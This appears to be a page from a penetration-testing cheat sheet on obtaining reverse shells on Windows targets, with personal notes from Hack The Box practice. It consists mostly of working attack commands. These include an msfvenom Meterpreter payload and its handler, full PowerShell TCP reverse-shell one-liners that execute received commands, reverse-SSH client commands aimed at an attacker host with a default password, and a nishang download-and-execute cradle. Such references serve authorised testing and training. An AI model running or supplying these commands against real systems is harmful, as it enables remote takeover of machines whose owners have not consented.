> For the complete documentation index, see [llms.txt](https://heinosass.gitbook.io/leet-sheet/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://heinosass.gitbook.io/leet-sheet/post-exploitation/untitled/shells.md).

# Shells

## Normal Shells

{% embed url="<https://book.hacktricks.xyz/shells/shells/windows>" %}

### Meterpreter

First, generate the file which, when executed, starts a reverse shell on the targeted host. Here's an example of an aspx shell:&#x20;

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.14.73" LPORT=4444 -f aspx -o reverse.aspx
```

Then, in your attacker machine, run Metasploit and start a handler:

```
msfconsole 
use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp 
set LPORT 4444 
set LHOST 10.10.14.73 
run
```

Replace the port and IP address with your own ones, of course.

### Interactive Powershell Reverse Shell

Caveat: **stderr doesn't work!**

```
powershell -nop -exec bypass -c "$client = New-Object System.Net.Sockets.TCPClient('IP_ADDRESS_HERE', PORT_NUMBER_HERE);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

## Full TTY Shells

{% embed url="<https://book.hacktricks.xyz/shells/shells/full-ttys#full-tty>" %}

### Pwncat

Caveat: I've tested it on 2 Windows boxes in HTB, and it **didn't work in either one**.&#x20;

Probably a good idea to switch to bash if using ZSH:&#x20;

```
exec bash --login
```

If your target machine doesn't have internet access, then you'll need to download the plugins first:&#x20;

```
pwncat --download-plugins
```

Listen on port 4444:&#x20;

```
pwncat -m windows -lp 4444
```

Then connect to the pwncat with either a powershell.exe or cmd.exe reverse shell:&#x20;

```
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.17',8000);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

### Reverse SSH Shell

{% embed url="<https://github.com/Fahrj/reverse-ssh>" %}

Features:

* Full TTY shell
* File sharing via SFTP
* Port forwarding

[Requirements](https://github.com/Fahrj/reverse-ssh#requirements):

* At least Windows 7  or Windows server 2008 (Windows 10 for conpty, need workaround for lower windows versions for full TTY functionality)
* Linux kernel version 2.6.23 and higher

Caveats:

* SCP doesn't seem to work
* SSH port forwarding doesn't seem to work
* It hangs sometimes

Evades antivirus: Don't know

First run this on your machine:

```
./reverse-ssh -v -l :4444
```

Then the following on the victim machine (you can use the upx packed executable, use ssh-shellhost on older machines):

```
.\upx_reverse-sshx86.exe -p 4444 kali@ATTACKER_IP
```

And finally on your machine:

```
ssh -p 8888 127.0.0.1
```

The default password is **letmeinbrudipls**

**NB!** If the target doesn't have conpty (pre-windows 10, build 17763), then you need the following workaround:

```
upx_reverse-sshx86.exe -p 4444 -s ssh-shellhost.exe kali@ATTACKER_IP
```

The shellhost.exe executable needs to be in the same directory. It's an executable from [OpenSSH](https://github.com/PowerShell/Win32-OpenSSH/releases/).

### Rlwrap with nishang

{% embed url="<https://book.hacktricks.xyz/shells/shells/windows#ps-nishang>" %}

Serve the script on your machine. Then download the nishang shell to memory:

```
powershell iex (New-Object Net.WebClient).DownloadString('http://IP:PORT/Invoke-PowerShellTcp.ps1');
```

Start a listener on SOME\_PORT on the attacker machine. Use [rlwrap](https://infinitelogins.com/2020/12/12/improving-windows-powershell-reverse-shells-for-up-down-arrows/) as explained here (not tested).

Then run the reverse shell.&#x20;

```
Invoke-PowerShellTcp -Reverse -IPAddress ATTACKER_IP -Port SOME_PORT
```

### Socat

I think socat can be used to make a decent reverse shell?

{% embed url="<https://stackoverflow.com/questions/60287549/socat-how-to-create-a-windows-reverse-shell>" %}

[<br>](<https://book.hacktricks.xyz/shells/shells/windows&#xA;https://book.hacktricks.xyz/shells/shells/full-ttys#full-tty&#xA;>)